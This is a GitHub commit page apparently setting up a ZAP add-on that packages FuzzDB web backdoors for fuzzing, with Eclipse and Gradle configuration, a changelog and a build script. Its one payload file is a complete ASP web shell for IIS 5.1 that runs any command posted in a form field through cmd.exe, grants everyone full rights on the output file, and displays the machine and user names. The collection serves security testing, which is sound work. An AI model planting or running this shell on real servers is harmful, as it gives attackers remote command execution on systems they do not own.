Skip to content

Commit 6b1c8fc

Browse files
svkrclgsvkrclg
committed
Initial point
1 parent f4de130 commit 6b1c8fc

Some content is hidden

Large Commits have some content hidden by default. Use the searchbox below for content that may be hidden.

78 files changed

+10519
-0
lines changed

‎.classpath

Lines changed: 6 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,6 @@
1+
<?xml version="1.0" encoding="UTF-8"?>
2+
<classpath>
3+
<classpathentry kind="con" path="org.eclipse.jdt.launching.JRE_CONTAINER/org.eclipse.jdt.internal.debug.ui.launcher.StandardVMType/JavaSE-10/"/>
4+
<classpathentry kind="con" path="org.eclipse.buildship.core.gradleclasspathcontainer"/>
5+
<classpathentry kind="output" path="bin/default"/>
6+
</classpath>

‎.gitignore

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -21,3 +21,4 @@
2121

2222
# virtual machine crash logs, see http://www.java.com/en/download/help/error_hotspot.xml
2323
hs_err_pid*
24+
/.gradle/

‎.project

Lines changed: 23 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,23 @@
1+
<?xml version="1.0" encoding="UTF-8"?>
2+
<projectDescription>
3+
<name>fuzzdb-web-backdoors</name>
4+
<comment></comment>
5+
<projects>
6+
</projects>
7+
<buildSpec>
8+
<buildCommand>
9+
<name>org.eclipse.jdt.core.javabuilder</name>
10+
<arguments>
11+
</arguments>
12+
</buildCommand>
13+
<buildCommand>
14+
<name>org.eclipse.buildship.core.gradleprojectbuilder</name>
15+
<arguments>
16+
</arguments>
17+
</buildCommand>
18+
</buildSpec>
19+
<natures>
20+
<nature>org.eclipse.jdt.core.javanature</nature>
21+
<nature>org.eclipse.buildship.core.gradleprojectnature</nature>
22+
</natures>
23+
</projectDescription>

‎.settings/org.eclipse.buildship.core.prefs

Lines changed: 2 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,2 @@
1+
connection.project.dir=
2+
eclipse.preferences.version=1

‎.travis.yml

Lines changed: 14 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,14 @@
1+
language: java
2+
3+
jdk:
4+
- oraclejdk8
5+
- openjdk11
6+
7+
before_cache:
8+
- rm -f $HOME/.gradle/caches/modules-2/modules-2.lock
9+
- rm -fr $HOME/.gradle/caches/*/plugin-resolution/
10+
11+
cache:
12+
directories:
13+
- $HOME/.gradle/caches/
14+
- $HOME/.gradle/wrapper/

‎CHANGELOG.md

Lines changed: 8 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,8 @@
1+
# Changelog
2+
All notable changes to this add-on will be documented in this file.
3+
4+
The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.0.0/).
5+
6+
## Unreleased
7+
8+
First version.

‎build.gradle.kts

Lines changed: 39 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,39 @@
1+
import org.zaproxy.gradle.addon.AddOnStatus
2+
import org.zaproxy.gradle.addon.manifest.tasks.ConvertChangelogToChanges
3+
4+
plugins {
5+
`java-library`
6+
eclipse
7+
id("org.zaproxy.add-on") version "0.1.0"
8+
}
9+
10+
eclipse {
11+
classpath {
12+
// Prevent compilation of zapHomeFiles.
13+
sourceSets = listOf()
14+
}
15+
}
16+
17+
version = "1"
18+
description = "FuzzDB web backdoors which can be used with the ZAP fuzzer"
19+
20+
val generateManifestChanges by tasks.registering(ConvertChangelogToChanges::class) {
21+
changelog.set(file("CHANGELOG.md"))
22+
manifestChanges.set(file("$buildDir/zapAddOn/manifest-changes.html"))
23+
}
24+
25+
zapAddOn {
26+
addOnName.set("FuzzDB Web Backdoors")
27+
addOnStatus.set(AddOnStatus.RELEASE)
28+
zapVersion.set("2.5.0")
29+
30+
manifest {
31+
author.set("ZAP Dev Team")
32+
url.set("https://github.com/fuzzdb-project/fuzzdb/")
33+
changesFile.set(generateManifestChanges.flatMap { it.manifestChanges })
34+
}
35+
36+
zapVersions {
37+
downloadUrl.set("https://github.com/zaproxy/fuzzdb-web-backdoors/releases/download/v$version")
38+
}
39+
}

‎gradle/gradle-wrapper.properties

Lines changed: 5 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,5 @@
1+
distributionBase=GRADLE_USER_HOME
2+
distributionPath=wrapper/dists
3+
distributionUrl=https\://services.gradle.org/distributions/gradle-5.2.1-all.zip
4+
zipStoreBase=GRADLE_USER_HOME
5+
zipStorePath=wrapper/dists

‎settings.gradle.kts

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1 @@
1+
rootProject.name = "fuzzdb-web-backdoors"

‎src/main/asp/cmd-asp-5.1.asp

Lines changed: 41 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,41 @@
1+
<%
2+
3+
' ASP Cmd Shell On IIS 5.1
4+
' brett.moore_at_security-assessment.com
5+
' http://seclists.org/bugtraq/2006/Dec/0226.html
6+
7+
8+
Dim oS,oSNet,oFSys, oF,szCMD, szTF
9+
On Error Resume Next
10+
Set oS = Server.CreateObject("WSCRIPT.SHELL")
11+
Set oSNet = Server.CreateObject("WSCRIPT.NETWORK")
12+
Set oFSys = Server.CreateObject("Scripting.FileSystemObject")
13+
szCMD = Request.Form("C")
14+
If (szCMD <> "") Then
15+
szTF = "c:\windows\pchealth\ERRORREP\QHEADLES\" & oFSys.GetTempName()
16+
' Here we do the command
17+
Call oS.Run("win.com cmd.exe /c """ & szCMD & " > " & szTF &
18+
"""",0,True)
19+
response.write szTF
20+
' Change perms
21+
Call oS.Run("win.com cmd.exe /c cacls.exe " & szTF & " /E /G
22+
everyone:F",0,True)
23+
Set oF = oFSys.OpenTextFile(szTF,1,False,0)
24+
End If
25+
%>
26+
<FORM action="<%= Request.ServerVariables("URL") %>" method="POST">
27+
<input type=text name="C" size=70 value="<%= szCMD %>">
28+
<input type=submit value="Run"></FORM><PRE>
29+
Machine: <%=oSNet.ComputerName%><BR>
30+
Username: <%=oSNet.UserName%><br>
31+
<%
32+
If (IsObject(oF)) Then
33+
On Error Resume Next
34+
Response.Write Server.HTMLEncode(oF.ReadAll)
35+
oF.Close
36+
Call oS.Run("win.com cmd.exe /c del "& szTF,0,True)
37+
End If
38+
39+
%>
40+
41+
<!-- http://michaeldaw.org 2006 -->

0 commit comments

Comments
 (0)